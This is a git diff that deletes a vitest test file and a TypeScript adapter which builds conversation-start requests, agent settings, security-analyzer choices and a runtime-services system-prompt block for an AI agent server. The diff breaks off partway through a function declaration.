a/src/api/agent-server-adapter.test.ts b/src/api/agent-server-adapter.test.ts deleted file mode 100644 index 05a549b3d..000000000 --- a/src/api/agent-server-adapter.test.ts +++ /dev/null @@ -1,188 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { CANVAS_UI_CLIENT_TOOL_NAME } from "#/constants/canvas-ui"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import type { Settings } from "#/types/settings"; -import { buildStartConversationRequest } from "./agent-server-adapter"; - -const encryptedValue = "gAAAAAencrypted-mcp-header"; - -function makeSettings(agentSettings: Settings["agent_settings"]): Settings { - return { - ...DEFAULT_SETTINGS, - agent_settings: agentSettings, - conversation_settings: { - confirmation_mode: false, - security_analyzer: null, - max_iterations: 20, - }, - }; -} - -describe("buildStartConversationRequest", () => { - it("marks OpenHands start requests as encrypted when MCP headers are encrypted", () => { - const agentSettings = { - agent_kind: "openhands", - llm: { - model: "litellm_proxy/openai/gpt-5.5", - api_key: "gAAAAAencrypted-llm-api-key", - }, - mcp_config: { - linear: { - url: "https://mcp.linear.app/mcp", - transport: "http", - headers: { - Authorization: encryptedValue, - }, - }, - }, - }; - const settings = makeSettings(agentSettings); - - const payload = buildStartConversationRequest({ - settings, - encryptedAgentSettings: agentSettings, - encryptedConversationSettings: settings.conversation_settings!, - secretsEncrypted: true, - }); - - expect(payload.agent_settings!.agent_kind).toBe("openhands"); - expect(payload.agent_settings!.mcp_config).toEqual( - agentSettings.mcp_config, - ); - expect(payload.secrets_encrypted).toBe(true); - }); - - it("marks ACP start requests as encrypted when MCP headers are encrypted", () => { - const agentSettings = { - agent_kind: "acp", - acp_server: "codex", - acp_command: ["codex-acp"], - acp_model: "gpt-5.5/medium", - mcp_config: { - linear: { - url: "https://mcp.linear.app/mcp", - transport: "http", - headers: { - Authorization: encryptedValue, - }, - }, - }, - }; - const settings = makeSettings(agentSettings); - - const payload = buildStartConversationRequest({ - settings, - encryptedAgentSettings: agentSettings, - encryptedConversationSettings: settings.conversation_settings!, - secretsEncrypted: true, - }); - - expect(payload.agent_settings!.agent_kind).toBe("acp"); - expect(payload.agent_settings!.mcp_config).toEqual( - agentSettings.mcp_config, - ); - expect(payload.secrets_encrypted).toBe(true); - }); - - it("keeps ACP start requests unencrypted when no encrypted MCP values are present", () => { - const agentSettings = { - agent_kind: "acp", - acp_server: "codex", - acp_command: ["codex-acp"], - acp_model: "gpt-5.5/medium", - mcp_config: { - publicDocs: { - url: "https://docs.example.com/mcp", - transport: "http", - }, - }, - }; - const settings = makeSettings(agentSettings); - - const payload = buildStartConversationRequest({ - settings, - encryptedAgentSettings: agentSettings, - encryptedConversationSettings: settings.conversation_settings!, - secretsEncrypted: true, - }); - - expect(payload.agent_settings!.agent_kind).toBe("acp"); - expect(payload.secrets_encrypted).toBeUndefined(); - }); -}); - -describe("buildStartConversationRequest — agentProfileId path", () => { - it("sends agent_profile_id and omits agent_settings (mutually exclusive)", () => { - const settings = makeSettings({ - agent_kind: "openhands", - llm: { model: "litellm_proxy/openai/gpt-5.5", api_key: "sk-test" }, - }); - - const payload = buildStartConversationRequest({ - settings, - agentProfileId: "profile-xyz", - agentProfileKind: "openhands", - }); - - expect(payload.agent_profile_id).toBe("profile-xyz"); - expect(payload.agent_settings).toBeUndefined(); - expect(payload.client_tools.map((tool) => tool.name)).toEqual([ - CANVAS_UI_CLIENT_TOOL_NAME, - ]); - }); - - it("suppresses the ACP server tag when launching from a profile", () => { - const agentSettings = { - agent_kind: "acp", - acp_server: "codex", - acp_command: ["codex-acp"], - acp_model: "gpt-5.5/medium", - }; - - // Without a profile the ACP server tag is stamped from settings... - expect( - buildStartConversationRequest({ settings: makeSettings(agentSettings) }) - .tags, - ).toBeDefined(); - - // ...but a profile launch resolves the server server-side, so the tag - // (which may not match the launched profile) is omitted. - const payload = buildStartConversationRequest({ - settings: makeSettings(agentSettings), - agentProfileId: "profile-xyz", - }); - expect(payload.tags).toBeUndefined(); - }); - - it("suppresses secrets_encrypted when launching from a profile", () => { - const agentSettings = { - agent_kind: "openhands", - llm: { - model: "litellm_proxy/openai/gpt-5.5", - api_key: "gAAAAAencrypted-llm-api-key", - }, - mcp_config: { - mcpServers: { - linear: { - url: "https://mcp.linear.app/mcp", - transport: "http", - headers: { Authorization: encryptedValue }, - }, - }, - }, - }; - const settings = makeSettings(agentSettings); - - // Same inputs without a profile would set secrets_encrypted (covered - // above); the profile path defers secret resolution to the server. - const payload = buildStartConversationRequest({ - settings, - encryptedAgentSettings: agentSettings, - encryptedConversationSettings: settings.conversation_settings!, - secretsEncrypted: true, - agentProfileId: "profile-xyz", - }); - - expect(payload.secrets_encrypted).toBeUndefined(); - }); -}); diff --git a/src/api/agent-server-adapter.ts b/src/api/agent-server-adapter.ts deleted file mode 100644 index bedabffab..000000000 --- a/src/api/agent-server-adapter.ts +++ /dev/null @@ -1,1146 +0,0 @@ -import { ACP_SETTINGS_KEYS } from "@openhands/typescript-client"; -import { SKILLS_CATALOG } from "@openhands/extensions/skills"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import { ExecutionStatus } from "#/types/agent-server/core"; -import { AgentKind, Settings, SettingsValue } from "#/types/settings"; -import { - getAcpPreferredDefaultModel, - getAcpProvider, - resolveEffectiveAcpModel, -} from "#/constants/acp-providers"; -import { getAgentServerClientOptions } from "./agent-server-client-options"; -import { isAgentServerToolAvailable } from "./agent-server-compatibility"; -import { getAgentServerWorkingDir } from "./agent-server-config"; -import { getEffectiveLocalBackend } from "./backend-registry/active-store"; -import { buildAuthHeaders } from "./backend-registry/auth"; -import { - GetHooksResponse, - PluginSpec, - AppConversation, - AppConversationPage, - SandboxStatus, -} from "./conversation-service/agent-server-conversation-service.types"; -import SettingsService from "./settings-service/settings-service.api"; -import { getStoredConversationMetadata } from "./conversation-metadata-store"; -import LLMSubscriptionService from "./llm-subscription-service"; -import { - LLM_AUTH_TYPE_SUBSCRIPTION, - OPENAI_SUBSCRIPTION_VENDOR, - isSubscriptionLlmConfig, -} from "#/constants/llm-subscription"; -import { - CANVAS_UI_CLIENT_TOOL, - CANVAS_UI_CLIENT_TOOL_NAME, - LEGACY_CANVAS_UI_TOOL_NAME, - type ClientToolSpec, -} from "./canvas-ui-client-tool"; - -export interface DirectConversationInfo { - id: string; - title?: string | null; - created_at: string; - updated_at: string; - execution_status?: string | null; - /** Cloud-only sandbox lifecycle state. Omitted / null for local agent-server conversations. */ - sandbox_status?: string | null; - metrics?: { - accumulated_cost?: number | null; - max_budget_per_task?: number | null; - accumulated_token_usage?: { - prompt_tokens?: number; - completion_tokens?: number; - cache_read_tokens?: number; - cache_write_tokens?: number; - context_window?: number; - per_turn_token?: number; - } | null; - } | null; - agent?: { - /** - * Pydantic discriminator from the SDK union: ``"ACPAgent"`` for ACP CLI - * subprocesses (model lives on the subprocess via ``acp_model``), - * ``"Agent"`` for direct litellm. Read by {@link toAppConversation}. - */ - kind?: string | null; - acp_model?: string | null; - /** - * ACP CLI identity (``claude-code`` / ``codex`` / ``gemini-cli``) from the - * SDK's ``ACPAgent.acp_server`` (#3692). Preferred fallback when the - * ``acpserver`` tag is absent — e.g. a profile launch doesn't stamp the tag - * client-side and the server may not repopulate it. Read by {@link toAppConversation}. - */ - acp_server?: string | null; - llm?: { - model?: string | null; - } | null; - } | null; - current_model_id?: string | null; - current_model_name?: string | null; - workspace?: { - working_dir?: string | null; - } | null; - /** - * Arbitrary string-keyed conversation tags surfaced by the agent-server - * (see ``ConversationInfo.tags``). Canvas only consumes one key today — - * ``ACP_SERVER_TAG_KEY`` ("acpserver") — but the field is typed as a - * generic record so future readers don't need another wire-shape change. - * Keys are constrained to ``^[a-z0-9]+$`` by the agent-server validator; - * values are opaque strings. - */ - tags?: Record | null; - launched_agent_profile?: { - agent_profile_id: string; - revision: number; - } | null; -} - -const DEFAULT_TOOL_NAMES = ["terminal", "file_editor", "task_tracker"]; -const BROWSER_TOOL_SET_NAME = "browser_tool_set"; -const TASK_TOOL_SET_NAME = "task_tool_set"; - -function browserToolsEnabled() { - return import.meta.env.VITE_ENABLE_BROWSER_TOOLS !== "false"; -} - -/** - * Shape of the runtime services info (set by the dev launchers in - * scripts/dev-*.mjs as `VITE_RUNTIME_SERVICES_INFO`, or injected at serve time - * by `scripts/static-server.mjs` for static builds — see - * `getRawRuntimeServicesInfo`). All URLs are written from the agent's point of - * view, not the browser's. The block is rendered into the agent's system prompt - * via `AgentContext.system_message_suffix` so the agent knows what's - * reachable from inside its sandbox without having to probe. - */ -interface RuntimeServicesInfo { - mode?: string; - agent_host_alias?: string; - services?: { - agent_server?: { description?: string; url_from_agent?: string }; - ingress?: { description?: string; url_from_agent?: string }; - frontend?: { - kind?: "vite" | "static"; - description?: string; - url_from_agent?: string; - }; - // `vite` is the legacy key name for the frontend entry, accepted for - // one release while older dev-stack launchers may still emit it. - vite?: { description?: string; url_from_agent?: string }; - automation?: { - description?: string; - url_from_agent?: string; - api_prefix?: string; - docs_url?: string; - openapi_url?: string; - auth_env_var?: string; - }; - }; -} - -/** - * Return the raw runtime-services JSON string, consulting two sources in order - * (mirrors `getBakedSessionApiKey` in agent-server-config.ts): - * 1. `VITE_RUNTIME_SERVICES_INFO` — baked into the bundle at build time by - * the dev launchers (`npm run dev`, dev:static). - * 2. `window.__AGENT_CANVAS_RUNTIME_SERVICES_INFO__` — injected into - * index.html at serve time by `scripts/static-server.mjs - * --runtime-services-info `. This is the path used by static builds - * (the Docker image and the published binary), where the env var is empty - * in the prebuilt bundle. Without it the `` block is - * missing and the agent cannot reach the local automation backend. - */ -function getRawRuntimeServicesInfo(): string | null { - const envRaw = import.meta.env.VITE_RUNTIME_SERVICES_INFO?.trim(); - if (envRaw) return envRaw; - - if (typeof window !== "undefined") { - const injected = (window as unknown as Record) - .__AGENT_CANVAS_RUNTIME_SERVICES_INFO__; - if (typeof injected === "string") { - return injected.trim() || null; - } - } - - return null; -} - -function parseRuntimeServicesInfo(): RuntimeServicesInfo | null { - const raw = getRawRuntimeServicesInfo(); - if (!raw) return null; - try { - const parsed = JSON.parse(raw) as RuntimeServicesInfo; - if (!parsed || typeof parsed !== "object") return null; - return parsed; - } catch { - // Malformed JSON: ignore and fall back to no runtime info, rather than - // tearing down conversation creation over a misconfigured env var or - // injected value. - return null; - } -} - -/** - * Return the deployment mode from the runtime services info, e.g. "docker", - * "dev:automation", etc. Returns `null` when no runtime info is configured. - */ -export function getDeploymentMode(): string | null { - return parseRuntimeServicesInfo()?.mode ?? null; -} - -/** - * Render the runtime services info into a markdown block suitable for - * appending to the system prompt via `AgentContext.system_message_suffix`. - * - * Returns `undefined` when no runtime info is configured, so callers can - * safely omit the field on production builds (where the launcher doesn't - * set `VITE_RUNTIME_SERVICES_INFO`). - */ -export function buildRuntimeServicesSystemSuffix(): string | undefined { - const info = parseRuntimeServicesInfo(); - if (!info?.services) return undefined; - - const lines: string[] = []; - lines.push(""); - if (info.mode) { - lines.push( - `You are running inside an agent-canvas dev stack started in '${info.mode}' mode.`, - ); - } else { - lines.push("You are running inside an agent-canvas dev stack."); - } - lines.push( - "The following services are reachable from your sandbox. URLs are written", - "from your point of view (i.e., as you should curl/fetch them).", - "", - ); - - const { agent_server, ingress, automation } = info.services; - const { frontend } = info.services; - - if (agent_server?.url_from_agent) { - lines.push( - `* Agent Server (you): ${agent_server.url_from_agent}`, - ` ${agent_server.description ?? "The agent-server hosting your tool calls."}`, - ); - } - if (ingress?.url_from_agent) { - lines.push( - `* Ingress: ${ingress.url_from_agent}`, - ` ${ingress.description ?? "Unified entry point for browser-facing traffic."}`, - ); - } - if (frontend?.url_from_agent) { - lines.push( - `* Frontend: ${frontend.url_from_agent}`, - ` ${frontend.description ?? "Frontend dev server."}`, - ); - } - if (automation?.url_from_agent) { - lines.push( - `* Automation backend: ${automation.url_from_agent}`, - ` ${automation.description ?? "OpenHands Automations service."}`, - ); - if (automation.docs_url) { - lines.push(` Docs: ${automation.docs_url}`); - } - if (automation.openapi_url) { - lines.push(` OpenAPI: ${automation.openapi_url}`); - } - if (automation.auth_env_var) { - // X-Session-API-Key is the local convention shared by the agent-server - // and automation backend (see openhands-automation auth.py). - lines.push( - ` Auth: header 'X-Session-API-Key: $${automation.auth_env_var}'`, - ); - } - } else { - lines.push( - "* Automation backend: not running in this dev mode (skip /api/automation calls).", - ); - } - - // Anchor the "don't guess" warning to the actual agent-server URL for - // this stack instead of a hardcoded port. The agent-server listens on - // different ports across dev modes, and baking the wrong port into the - // system prompt is exactly the kind of confusion this block is meant to - // prevent. - const agentServerUrl = agent_server?.url_from_agent; - lines.push( - "", - "Trust this block over guessing: do not assume any other URLs are running.", - ); - if (agentServerUrl) { - lines.push( - `In particular, ${agentServerUrl} inside your sandbox is the Agent Server`, - "you are running inside of — NOT the automation backend.", - ); - } - lines.push(""); - - return lines.join("\n"); -} - -export function toConversationUrl(conversationId: string): string { - // Local-format conversation URL — points at whichever local agent-server - // is actually serving the conversation (the bundled one when the active - // selection is cloud). - const { host } = getAgentServerClientOptions(); - return `${host}/api/conversations/${conversationId}`; -} - -// TODO(i18n): extract "Conversation" once we add CONVERSATION$DEFAULT_TITLE -// with `{{shortId}}` interpolation. Kept as a literal for now to keep the -// fallback inside this pure adapter rather than fanning out to display sites. -export function getDefaultConversationTitle(conversationId: string): string { - return `Conversation ${conversationId.slice(0, 5)}`; -} - -export function toAppConversation( - info: DirectConversationInfo, -): AppConversation { - const metadata = getStoredConversationMetadata(info.id); - // ACPAgent conversations carry a sentinel ``llm`` on older SDKs. Prefer the - // runtime model fields when available, then the configured ``acp_model`` that - // Canvas saves for built-in providers. ``agent_kind`` still gates model - // switching, so surfacing this string is display-only. - const isAcp = info.agent?.kind === "ACPAgent"; - // Only surface ``acp_server`` for ACP conversations even if the wire - // payload accidentally carries an ``acpserver`` tag on an OpenHands - // conversation — the chip is identity info for the ACP CLI subprocess, - // and showing it on a non-ACP conversation would be a lie. Fall back to the - // agent's own ``acp_server`` (#3692) when the tag is missing — a profile - // launch doesn't stamp the tag, so tag-only reads would drop the ACP model - // picker and degrade the chip to a generic "ACP" (#1571). - const acpServer = isAcp - ? (info.tags?.[ACP_SERVER_TAG_KEY] ?? info.agent?.acp_server ?? null) - : null; - return { - id: info.id, - created_by_user_id: null, - selected_repository: metadata?.selected_repository ?? null, - selected_branch: metadata?.selected_branch ?? null, - git_provider: metadata?.git_provider ?? null, - selected_workspace: metadata?.selected_workspace ?? null, - active_profile: metadata?.active_profile ?? null, - title: info.title?.trim() - ? info.title - : getDefaultConversationTitle(info.id), - trigger: null, - pr_number: [], - agent_kind: isAcp ? "acp" : "openhands", - acp_server: acpServer, - tags: info.tags ?? null, - launched_agent_profile: info.launched_agent_profile ?? null, - // Chip path: omit ``providerDefault`` so that when no concrete model - // resolves, the chip falls back to the provider display name in - // ConversationCardFooter rather than a registry default the session may - // not actually be running. - llm_model: isAcp - ? resolveEffectiveAcpModel({ - runtimeName: info.current_model_name, - runtimeId: info.current_model_id, - configured: info.agent?.acp_model, - sdkLlm: info.agent?.llm?.model, - }) - : (info.agent?.llm?.model ?? DEFAULT_SETTINGS.llm_model), - metrics: info.metrics - ? { - accumulated_cost: info.metrics.accumulated_cost ?? null, - max_budget_per_task: info.metrics.max_budget_per_task ?? null, - accumulated_token_usage: info.metrics.accumulated_token_usage - ? { - prompt_tokens: - info.metrics.accumulated_token_usage.prompt_tokens ?? 0, - completion_tokens: - info.metrics.accumulated_token_usage.completion_tokens ?? 0, - cache_read_tokens: - info.metrics.accumulated_token_usage.cache_read_tokens ?? 0, - cache_write_tokens: - info.metrics.accumulated_token_usage.cache_write_tokens ?? 0, - context_window: - info.metrics.accumulated_token_usage.context_window ?? 0, - per_turn_token: - info.metrics.accumulated_token_usage.per_turn_token ?? 0, - } - : null, - } - : null, - created_at: info.created_at, - updated_at: info.updated_at, - execution_status: - (info.execution_status as AppConversation["execution_status"]) ?? - ExecutionStatus.IDLE, - sandbox_status: (info.sandbox_status as SandboxStatus | null) ?? null, - conversation_url: toConversationUrl(info.id), - session_api_key: getAgentServerClientOptions().apiKey ?? null, - sandbox_id: null, - workspace: { - working_dir: info.workspace?.working_dir ?? getAgentServerWorkingDir(), - }, - public: false, - sub_conversation_ids: [], - }; -} - -export function toConversationPage(data: { - items: DirectConversationInfo[]; - next_page_id?: string | null; -}): AppConversationPage { - return { - items: data.items.map(toAppConversation), - next_page_id: data.next_page_id ?? null, - }; -} - -type SettingsRecord = Record; - -interface AgentToolSpec { - name: string; - params: SettingsRecord; -} - -type AgentSettingsPayload = SettingsRecord & { - llm?: SettingsRecord; - agent_context: SettingsRecord; - tools?: AgentToolSpec[]; -}; - -interface LocalWorkspacePayload { - kind: "LocalWorkspace"; - working_dir: string; -} - -interface InitialMessagePayload { - role: "user"; - content: Array<{ type: "text"; text: string }>; - run: true; -} - -type ConversationSettingsPayload = SettingsRecord & { - workspace: LocalWorkspacePayload; - initial_message?: InitialMessagePayload; -}; - -export const ACP_SERVER_TAG_KEY = "acpserver"; - -/** - * Conversation tag keys Canvas itself stamps/consumes for internal routing. - * They are already surfaced through dedicated UI (the ACP provider chip), so - * the generic tag-chip display filters them out. - */ -export const RESERVED_CONVERSATION_TAG_KEYS: ReadonlySet = new Set([ - ACP_SERVER_TAG_KEY, -]); - -/** - * User-facing subset of a conversation's server-side tags: everything except - * {@link RESERVED_CONVERSATION_TAG_KEYS}, as stable ``[key, value]`` entries - * sorted by key so chip order doesn't shuffle between refetches. - */ -export function getDisplayConversationTags( - tags: Record | null | undefined, -): Array<[string, string]> { - if (!tags) { - return []; - } - return Object.entries(tags) - .filter(([key]) => !RESERVED_CONVERSATION_TAG_KEYS.has(key)) - .sort(([a], [b]) => a.localeCompare(b)); -} - -const FERNET_TOKEN_PREFIX = "gAAAAA"; - -const CONVERSATION_SETTINGS_METADATA_KEYS = new Set([ - "schema_version", - "agent_settings", - "workspace", - "conversation_id", - "initial_message", - "plugins", -]); - -function toRecord(value: unknown): SettingsRecord { - if (!value || typeof value !== "object" || Array.isArray(value)) { - return {}; - } - - return structuredClone(value as SettingsRecord); -} - -function normalizeSecretString(value: unknown): string | undefined { - if (typeof value !== "string") { - return undefined; - } - - const trimmed = value.trim(); - return trimmed.length > 0 ? trimmed : undefined; -} - -function isPlainRecord(value: unknown): value is Record { - return !!value && typeof value === "object" && !Array.isArray(value); -} - -function hasEncryptedString(value: unknown): boolean { - if (typeof value === "string") { - return value.startsWith(FERNET_TOKEN_PREFIX); - } - if (Array.isArray(value)) { - return value.some(hasEncryptedString); - } - if (isPlainRecord(value)) { - return Object.values(value).some(hasEncryptedString); - } - return false; -} - -function hasEncryptedMcpSecrets(mcpConfig: unknown): boolean { - if (!isPlainRecord(mcpConfig)) { - return false; - } - - return Object.values(mcpConfig).some(hasEncryptedString); -} - -function getConversationConfirmationPolicy( - conversationSettings: SettingsRecord, -) { - if (conversationSettings.confirmation_mode !== true) { - return { kind: "NeverConfirm" }; - } - - if (conversationSettings.security_analyzer === "llm") { - return { kind: "ConfirmRisky", threshold: "HIGH", confirm_unknown: true }; - } - - return { kind: "AlwaysConfirm" }; -} - -function getConversationSecurityAnalyzer(conversationSettings: SettingsRecord) { - switch (conversationSettings.security_analyzer) { - case "llm": - return { kind: "LLMSecurityAnalyzer" }; - case "pattern": - return { kind: "PatternSecurityAnalyzer" }; - case "policy_rail": - return { kind: "PolicyRailSecurityAnalyzer" }; - default: - return undefined; - } -} - -function isToolRecord( - value: unknown, -): value is { name: string; params?: unknown } { - return ( - !!value && - typeof value === "object" && - !Array.isArray(value) && - typeof (value as { name?: unknown }).name === "string" - ); -} - -function shouldIncludeTool(name: string, agentSettings: SettingsRecord) { - if (name === BROWSER_TOOL_SET_NAME) { - return browserToolsEnabled() && isAgentServerToolAvailable(name); - } - - if (name === TASK_TOOL_SET_NAME) { - return ( - agentSettings.enable_sub_agents === true && - isAgentServerToolAvailable(name) - ); - } - - return true; -} - -function getAgentTools(agentSettings: SettingsRecord): AgentToolSpec[] { - const tools = new Map(); - - for (const name of DEFAULT_TOOL_NAMES) { - if (shouldIncludeTool(name, agentSettings)) { - tools.set(name, { name, params: {} }); - } - } - - for (const name of [BROWSER_TOOL_SET_NAME, TASK_TOOL_SET_NAME]) { - if (shouldIncludeTool(name, agentSettings)) { - tools.set(name, { name, params: {} }); - } - } - - const configuredTools = agentSettings.tools; - if ( - Array.isArray(configuredTools) && - configuredTools.every((tool) => isToolRecord(tool)) - ) { - for (const tool of configuredTools) { - if (shouldIncludeTool(tool.name, agentSettings)) { - tools.set(tool.name, { - name: tool.name, - params: toRecord(tool.params), - }); - } - } - } - - return Array.from(tools.values()); -} - -function buildInitialMessage( - query?: string, - conversationInstructions?: string, -): InitialMessagePayload | null { - const parts = [query?.trim(), conversationInstructions?.trim()].filter( - Boolean, - ); - if (parts.length === 0) { - return null; - } - - return { - role: "user", - content: [{ type: "text", text: parts.join("\n\n") }], - run: true, - }; -} - -/** - * Shape of a bundled skill entry passed to the agent-server SDK via - * `agent_context.skills`. Mirrors the SDK's `Skill` model fields that - * the server uses for trigger matching, activation, and system-prompt - * injection. - */ -interface BundledSkill { - name: string; - content: string; - trigger: { type: "keyword"; keywords: string[] } | null; - source: string; - description: string | null; - is_agentskills_format: true; - license?: string; - compatibility?: string; -} - -/** - * Convert the bundled `SKILLS_CATALOG` entries into the SDK `Skill` JSON - * shape so the agent-server can perform trigger matching, skill activation, - * and system-prompt injection without cloning the extensions repo. - * - * The SDK discriminates triggers via `{ type: "keyword", keywords: [...] }`. - * Skills with no triggers get `trigger: null` (always-active / on-demand). - */ -function buildBundledSkills(): BundledSkill[] { - return SKILLS_CATALOG.map((entry) => { - const trigger: BundledSkill["trigger"] = - entry.triggers?.length > 0 - ? { type: "keyword", keywords: entry.triggers } - : null; - - // Use the absolute path to the skill's SKILL.md so the Python - // agent-server can resolve bundled resources (scripts/, references/). - // Falls back to "public" in library builds where the path isn't known. - const source = __EXTENSIONS_SKILLS_DIR__ - ? `${__EXTENSIONS_SKILLS_DIR__}/${entry.name}/SKILL.md` - : "public"; - - return { - name: entry.name, - content: entry.content, - trigger, - source, - description: entry.description ?? null, - is_agentskills_format: true as const, - ...(entry.license ? { license: entry.license } : {}), - ...(entry.compatibility ? { compatibility: entry.compatibility } : {}), - }; - }); -} - -function buildAgentContext(agentSettings: SettingsRecord): SettingsRecord { - const runtimeServicesSuffix = buildRuntimeServicesSystemSuffix(); - const existingContext = toRecord(agentSettings.agent_context); - - // Merge bundled public skills with any skills already present in the - // agent context (e.g. user-defined skills set via the settings API). - const existingSkills = Array.isArray(existingContext.skills) - ? (existingContext.skills as SettingsRecord[]) - : []; - const mergedSkills = [...existingSkills, ...buildBundledSkills()]; - - return { - ...existingContext, - // Public skills are bundled at build time from the @openhands/extensions - // npm package and passed directly in agent_context.skills. Setting - // load_public_skills to false tells the agent-server SDK to skip its own - // extensions-repo clone — the frontend is the sole source of public - // skills now. - // - // Migration: the former VITE_LOAD_PUBLIC_SKILLS env var was removed - // because bundled skills have no clone latency. Users who previously set - // VITE_LOAD_PUBLIC_SKILLS=false to avoid clone delays no longer need it. - skills: mergedSkills, - load_public_skills: false, - load_user_skills: true, - load_project_skills: true, - ...(runtimeServicesSuffix - ? { system_message_suffix: runtimeServicesSuffix } - : {}), - }; -} - -function isAcpAgent(settings: Settings): boolean { - const agentSettings = toRecord(settings.agent_settings); - return agentSettings.agent_kind === "acp"; -} - -function getAcpServerTag(settings: Settings): string | undefined { - const agentSettings = toRecord(settings.agent_settings); - const value = agentSettings.acp_server; - return typeof value === "string" && value.length > 0 ? value : undefined; -} - -function resolveAcpCommand(agentSettings: SettingsRecord): unknown { - const cmd = agentSettings.acp_command; - const isEmpty = Array.isArray(cmd) && cmd.length === 0; - const noCommand = cmd === undefined; - if (!isEmpty && !noCommand) { - return cmd; - } - - const serverKey = - typeof agentSettings.acp_server === "string" - ? agentSettings.acp_server - : undefined; - const provider = getAcpProvider(serverKey); - return provider ? [...provider.default_command] : cmd; -} - -function buildConfiguredAcpAgentSettings( - settings: Settings, -): AgentSettingsPayload { - const agentSettings = toRecord(settings.agent_settings); - const payload: AgentSettingsPayload = { - agent_kind: "acp", - agent_context: buildAgentContext(agentSettings), - }; - - // TODO(#1019): set ``acp_isolate_data_dir: true`` here for a containerized - // backend so concurrent same-provider conversations don't race on a shared - // HOME. The SDK supports it (software-agent-sdk#3492), but the released - // ``@openhands/typescript-client`` (1.24.3) doesn't surface it on - // ``ACPAgentSettings`` yet, so sending it risks a validation error on older - // servers. Cloud grouping isolation is separate (agent-canvas#1016). - - for (const key of ACP_SETTINGS_KEYS) { - // ``acp_model`` is resolved separately below so a saved ``null`` still - // falls back to the provider's default rather than being dropped. - if (key === "acp_model") continue; - // ``acp_env`` is deprecated — provider creds now route via ``request.secrets``. - if (key === "acp_env") continue; - const value = - key === "acp_command" - ? resolveAcpCommand(agentSettings) - : agentSettings[key]; - if (value !== undefined && value !== null) { - payload[key] = value; - } - } - - // ``mcp_config`` is a shared field (not in ACP_SETTINGS_KEYS): forward it - // so the ACP subprocess connects to the configured MCP servers at session - // creation. Only include it when it actually carries servers — an empty or - // malformed value is dropped rather than sending ``mcp_config: {}``. - const mcpConfig = toRecord(agentSettings.mcp_config); - if (Object.keys(mcpConfig).length > 0) { - payload.mcp_config = mcpConfig; - } - - // Saved settings may carry ``acp_model: null`` (existing users predating - // the default-model registry, or saved fields the agent-server stripped). - // Fall back to the *preferred* default (Vertex-safe for Gemini) so the - // conversation starts with whatever the Settings → Agent UI shows — without - // that, the form's displayed default would silently not take effect at - // runtime until the user re-saved the page. - const serverKey = - typeof agentSettings.acp_server === "string" - ? agentSettings.acp_server - : undefined; - const effectiveModel = resolveEffectiveAcpModel({ - configured: agentSettings.acp_model as string | null | undefined, - providerDefault: getAcpPreferredDefaultModel(serverKey), - }); - if (effectiveModel) { - payload.acp_model = effectiveModel; - } - - return payload; -} - -function buildConfiguredOpenHandsAgentSettings( - settings: Settings, -): AgentSettingsPayload { - const agentSettings = toRecord(settings.agent_settings); - const llm = toRecord(agentSettings.llm); - - llm.model = - typeof llm.model === "string" && llm.model.trim().length > 0 - ? llm.model - : DEFAULT_SETTINGS.llm_model; - - // Stream assistant tokens (parity with ACP agents). The agent-server only - // emits StreamingDeltaEvents for SDK LLM agents when an LLM has stream=True. - llm.stream = true; - - const apiKey = normalizeSecretString(llm.api_key); - if (apiKey) { - llm.api_key = apiKey; - } else { - delete llm.api_key; - } - - const baseUrl = normalizeSecretString(llm.base_url); - if (baseUrl) { - llm.base_url = baseUrl; - } else { - delete llm.base_url; - } - - if (isSubscriptionLlmConfig(llm)) { - llm.auth_type = LLM_AUTH_TYPE_SUBSCRIPTION; - llm.subscription_vendor = OPENAI_SUBSCRIPTION_VENDOR; - delete llm.api_key; - delete llm.base_url; - } else { - delete llm.auth_type; - delete llm.subscription_vendor; - } - - const mcpConfig = toRecord(agentSettings.mcp_config); - if (Object.keys(mcpConfig).length === 0) { - delete agentSettings.mcp_config; - } - - delete agentSettings.acp_server; - for (const key of ACP_SETTINGS_KEYS) { - delete agentSettings[key]; - } - // ``acp_env`` is no longer a forwarded ACP setting (provider creds ride the - // Secrets panel), but a legacy value may linger on persisted settings — - // scrub it so it never leaks onto the OpenHands payload. - delete agentSettings.acp_env; - - return { - ...agentSettings, - llm, - agent_context: buildAgentContext(agentSettings), - tools: getAgentTools(agentSettings), - }; -} - -function buildConfiguredAgentSettings( - settings: Settings, -): AgentSettingsPayload { - return isAcpAgent(settings) - ? buildConfiguredAcpAgentSettings(settings) - : buildConfiguredOpenHandsAgentSettings(settings); -} - -function buildConfiguredConversationSettings(options: { - settings: Settings; - query?: string; - conversationInstructions?: string; - plugins?: PluginSpec[]; - workingDir?: string; -}): ConversationSettingsPayload { - const { settings, query, conversationInstructions, plugins, workingDir } = - options; - const conversationSettings = toRecord(settings.conversation_settings); - const initialMessage = buildInitialMessage(query, conversationInstructions); - - CONVERSATION_SETTINGS_METADATA_KEYS.forEach( - (key) => delete conversationSettings[key], - ); - - const payload: ConversationSettingsPayload = { - ...conversationSettings, - workspace: { - kind: "LocalWorkspace", - working_dir: workingDir ?? getAgentServerWorkingDir(), - }, - ...(initialMessage ? { initial_message: initialMessage } : {}), - ...(plugins?.length - ? { - plugins: plugins.map((plugin) => ({ - source: plugin.source, - ...(plugin.ref ? { ref: plugin.ref } : {}), - ...(plugin.repo_path ? { repo_path: plugin.repo_path } : {}), - })), - } - : {}), - }; - - return payload; -} - -interface LookupSecret { - kind: "LookupSecret"; - url: string; - headers?: Record; - description?: string; -} - -type StartConversationPayload = Record & { - // Omitted when launching via ``agent_profile_id`` — the two are mutually - // exclusive agent sources; the server resolves the profile server-side. - agent_settings?: AgentSettingsPayload; - agent_profile_id?: string; - workspace: LocalWorkspacePayload; - confirmation_policy: SettingsRecord; - security_analyzer?: SettingsRecord; - initial_message?: InitialMessagePayload; - max_iterations: number; - stuck_detection: true; - autotitle: true; - title_llm_profile?: string; - worktree: boolean; - secrets_encrypted?: true; - conversation_id?: string; - secrets?: Record; - tags?: Record; - client_tools: ClientToolSpec[]; - tool_module_qualnames?: Record; -}; - -export interface StartConversationOptions { - settings: Settings; - query?: string; - conversationInstructions?: string; - plugins?: PluginSpec[]; - conversationId?: string; - workingDir?: string; - worktree?: boolean; - encryptedAgentSettings?: Record; - encryptedConversationSettings?: Record; - secretsEncrypted?: boolean; - customSecrets?: Array<{ name: string; description?: string }>; - // When set, the conversation launches from this AgentProfile (resolved - // server-side) instead of an inline ``agent_settings`` dump (#3727). - agentProfileId?: string; - agentProfileKind?: AgentKind; - titleLlmProfile?: string; -} - -export function buildStartConversationRequest( - 